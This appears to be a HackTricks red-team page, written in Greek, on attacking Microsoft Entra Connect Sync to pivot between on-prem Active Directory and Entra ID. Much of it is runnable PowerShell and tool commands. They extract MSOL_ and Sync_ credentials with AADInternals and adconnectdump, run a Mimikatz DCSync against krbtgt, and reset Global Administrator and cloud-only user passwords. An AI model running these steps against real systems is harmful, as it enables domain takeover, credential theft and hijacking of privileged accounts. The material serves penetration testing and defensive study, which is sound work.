Az - Connect Sync

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Από τα docs: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) είναι κύριο στοιχείο του Microsoft Entra Connect. Φροντίζει όλες τις λειτουργίες που σχετίζονται με το συγχρονισμό δεδομένων ταυτότητας μεταξύ του on-premises περιβάλλοντός σας και του Microsoft Entra ID.

Η υπηρεσία sync αποτελείται από δύο συστατικά, το on-premises Microsoft Entra Connect Sync component και το service side στο Microsoft Entra ID που ονομάζεται Microsoft Entra Connect Sync service.

Για να τη χρησιμοποιήσετε, χρειάζεται να εγκαταστήσετε τον agent Microsoft Entra Connect Sync σε έναν server εντός του AD περιβάλλοντός σας. Αυτός ο agent θα είναι υπεύθυνος για το συγχρονισμό από την πλευρά του AD.

Το Connect Sync είναι βασικά ο “παλιός” τρόπος του Azure για να synchronize users from AD into Entra ID. Ο νέος προτεινόμενος τρόπος είναι να χρησιμοποιήσετε το Entra Cloud Sync:

Az - Cloud Sync

Principals που δημιουργούνται

  • Ο λογαριασμός MSOL_<installationID> δημιουργείται αυτόματα στο on-prem AD. Σε αυτόν τον λογαριασμό δίνεται ο ρόλος Directory Synchronization Accounts (βλέπε documentation) που σημαίνει ότι έχει replication (DCSync) permissions στο on-prem AD.
  • Αυτό σημαίνει ότι όποιος παραβιάσει αυτόν τον λογαριασμό θα μπορεί να παραβιάσει το on-premise domain.
  • Ένας managed service account ADSyncMSA<id> δημιουργείται στο on-prem AD χωρίς ειδικά προεπιλεγμένα προνόμια.
  • Στο Entra ID δημιουργείται το Service Principal ConnectSyncProvisioning_ConnectSync_<id> με πιστοποιητικό.

Συγχρονισμός Κωδικών

Password Hash Synchronization

Αυτό το component μπορεί επίσης να χρησιμοποιηθεί για να sychronize passwords from AD into Entra ID ώστε οι χρήστες να μπορούν να χρησιμοποιούν τους AD κωδικούς τους για να συνδεθούν στο Entra ID. Για αυτό χρειάζεται να επιτρέψετε το password hash synchronization στον Microsoft Entra Connect Sync agent που είναι εγκατεστημένος σε έναν AD server.

Από τα docs: Password hash synchronization είναι μία από τις μεθόδους σύνδεσης που χρησιμοποιούνται για την επίτευξη hybrid identity. Azure AD Connect συγχρονίζει ένα hash, του hash, του κωδικού ενός χρήστη από μια on-premises Active Directory εγκατάσταση σε μια cloud-based Azure AD εγκατάσταση.

Βασικά, όλοι οι users και ένα hash of the password hashes συγχρονίζονται από το on-prem προς το Azure AD. Ωστόσο, clear-text passwords ή τα original hashes δεν αποστέλλονται στο Azure AD.

Ο συγχρονισμός των hashes γίνεται κάθε 2 λεπτά. Παρ’ όλα αυτά, από προεπιλογή, το password expiry και το account expiry δεν συγχρονίζονται στο Azure AD. Έτσι, ένας χρήστης του οποίου ο on-prem κωδικός έχει λήξει (δεν έχει αλλάξει) μπορεί να συνεχίσει να έχει πρόσβαση σε Azure resources χρησιμοποιώντας τον παλιό κωδικό.

Όταν ένας on-prem χρήστης θέλει να έχει πρόσβαση σε ένα Azure resource, η authentication γίνεται στο Azure AD.

Note

Από προεπιλογή χρήστες γνωστών privileged groups όπως οι Domain Admins με το attribute adminCount σε 1 δεν συγχρονίζονται με το Entra ID για λόγους ασφαλείας. Ωστόσο, άλλοι χρήστες που είναι μέλη privileged groups χωρίς αυτό το attribute ή που τους έχουν εκχωρηθεί υψηλά προνόμια απευθείας μπορούν να συγχρονιστούν.

Password Writeback

Αυτή η ρύθμιση επιτρέπει να sychronize passwords from Entra ID into AD όταν ένας χρήστης αλλάζει τον κωδικό του στο Entra ID. Σημειώστε ότι για να λειτουργήσει το password writeback, ο χρήστης MSOL_<id> που δημιουργείται αυτόματα στο AD πρέπει να του δοθούν περισσότερα προνόμια όπως υποδεικνύεται στα docs ώστε να μπορεί να modify the passwords of any user in the AD.

Αυτό είναι ιδιαίτερα ενδιαφέρον για την παραβίαση του AD από ένα παραβιασμένο Entra ID, καθώς θα μπορείτε να αλλάξετε τον κωδικό “σχεδόν” οποιουδήποτε χρήστη.

Οι Domain admins και άλλοι χρήστες που ανήκουν σε ορισμένες privileged groups δεν αναπαράγονται αν η ομάδα έχει το adminCount attribute σε 1. Αλλά άλλοι χρήστες που έχουν εκχωρηθεί υψηλά προνόμια μέσα στο AD χωρίς να ανήκουν σε αυτές τις ομάδες μπορούν να έχουν τον κωδικό τους αλλάξει. Για παράδειγμα:

  • Χρήστες που τους έχουν εκχωρηθεί υψηλά privileges απευθείας.
  • Χρήστες από την ομάδα DNSAdmins.
  • Χρήστες από την ομάδα Group Policy Creator Owners που έχουν δημιουργήσει GPOs και τα έχουν εφαρμόσει σε OUs θα μπορούν να τροποποιούν τα GPOs που δημιούργησαν.
  • Χρήστες από την ομάδα Cert Publishers Group που μπορούν να δημοσιεύουν πιστοποιητικά στο Active Directory.
  • Χρήστες οποιασδήποτε άλλης ομάδας με υψηλά προνόμια χωρίς το adminCount attribute σε 1.

Pivoting AD –> Entra ID

Enumerating Connect Sync

Ελέγξτε για χρήστες:

# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Ελέγξτε για την ρύθμιση του Connect Sync (αν υπάρχει):

az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Εύρεση των passwords

Οι passwords του χρήστη MSOL_* (και του χρήστη Sync_* εάν δημιουργήθηκε) είναι αποθηκευμένοι σε έναν SQL server στον server όπου είναι εγκατεστημένο το Entra ID Connect. Οι Admins μπορούν να εξάγουν τους κωδικούς αυτών των privileged χρηστών σε clear-text.
Η βάση δεδομένων βρίσκεται στο C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Είναι δυνατό να εξαχθεί η configuration από έναν από τους πίνακες, με τον έναν να είναι κρυπτογραφημένος:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Η encrypted configuration είναι κρυπτογραφημένη με DPAPI και περιέχει τους passwords του χρήστη MSOL_* στο on-prem AD και τον κωδικό του Sync_* στο AzureAD. Επομένως, παραβιάζοντάς τες είναι δυνατό να γίνει privesc στο AD και στο AzureAD.

Μπορείτε να βρείτε μια πλήρη επισκόπηση του πώς αυτά τα credentials αποθηκεύονται και αποκρυπτογραφούνται σε αυτή την παρουσίαση.

Κατάχρηση MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Warning

Προηγούμενες επιθέσεις υπέκλεψαν το άλλο password για να συνδεθούν στον χρήστη Entra ID με όνομα Sync_* και στη συνέχεια να παραβιάσουν το Entra ID. Ωστόσο, αυτός ο χρήστης δεν υπάρχει πλέον.

Κατάχρηση ConnectSyncProvisioning_ConnectSync_

Αυτή η εφαρμογή δημιουργείται χωρίς να της έχουν ανατεθεί ρόλοι διαχείρισης Entra ID ή Azure. Ωστόσο, έχει τις ακόλουθες API permissions:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

Αναφέρεται ότι το SP αυτής της εφαρμογής μπορεί ακόμα να χρησιμοποιηθεί για την εκτέλεση ορισμένων προνομιούχων ενεργειών χρησιμοποιώντας ένα undocumented API, αλλά προς το παρόν δεν έχει βρεθεί PoC όσο γνωρίζω.
Σε κάθε περίπτωση, θεωρώντας ότι αυτό μπορεί να είναι δυνατό, θα ήταν ενδιαφέρον να διερευνηθεί περαιτέρω πώς να βρεθεί το certificate για να συνδεθεί ως αυτό το service principal και να επιχειρηθεί η κατάχρησή του.

Αυτό το blog post που κυκλοφόρησε σύντομα μετά την αλλαγή από τη χρήση του χρήστη Sync_* σε αυτό το service principal, εξήγησε ότι το certificate ήταν αποθηκευμένο μέσα στον server και ότι ήταν δυνατό να το βρει κανείς, να δημιουργήσει PoP (Proof of Possession) του και graph token, και με αυτά να μπορεί να προσθέσει ένα νέο certificate στο service principal (επειδή ένα service principal μπορεί πάντα να του αναθέσει νέα certificates) και στη συνέχεια να το χρησιμοποιήσει για να διατηρήσει persistence ως το SP.

Για να εκτελεστούν αυτές οι ενέργειες, έχουν δημοσιευτεί τα ακόλουθα εργαλεία: SharpECUtils.

Σύμφωνα με this question, για να βρείτε το certificate πρέπει να τρέξετε το εργαλείο από μια διεργασία που έχει κλέψει το token της διεργασίας miiserver.

Κατάχρηση Sync_* [DEPRECATED]

Warning

Προηγουμένως δημιουργούνταν ένας χρήστης με όνομα Sync_* στο Entra ID με πολύ ευαίσθητες άδειες, που επέτρεπαν την εκτέλεση προνομιούχων ενεργειών όπως η τροποποίηση του password οποιουδήποτε χρήστη ή η προσθήκη νέου credential σε ένα service principal. Ωστόσο, από Jan2025 αυτός ο χρήστης δεν δημιουργείται πλέον από προεπιλογή, καθώς χρησιμοποιείται πλέον η Application/SP ConnectSyncProvisioning_ConnectSync_<id>. Παρ’ όλα αυτά, μπορεί να υπάρχει ακόμα σε ορισμένα περιβάλλοντα, οπότε αξίζει να γίνει έλεγχος.

Συμβιβάζοντας τον λογαριασμό Sync_* είναι δυνατό να reset the password οποιουδήποτε χρήστη (συμπεριλαμβανομένων των Global Administrators)

Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Είναι επίσης δυνατό να τροποποιηθούν οι κωδικοί πρόσβασης μόνο των cloud χρηστών (ακόμα κι αν αυτό είναι απρόσμενο)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Είναι επίσης δυνατό να dump το password αυτού του χρήστη.

Caution

Μια άλλη επιλογή θα ήταν να assign privileged permissions to a service principal, την οποία ο Sync user έχει permissions να κάνει, και στη συνέχεια να access that service principal ως τρόπος privesc.

Seamless SSO

Είναι δυνατό να χρησιμοποιηθεί Seamless SSO με PHS, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το στο:

Az - Seamless SSO

Pivoting Entra ID –> AD

  • Αν το password writeback είναι ενεργοποιημένο, μπορείτε να modify the password of any user in the AD που είναι synchronized με το Entra ID.
  • Αν το groups writeback είναι ενεργοποιημένο, μπορείτε να add users to privileged groups στο Entra ID που είναι synchronized με το AD.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks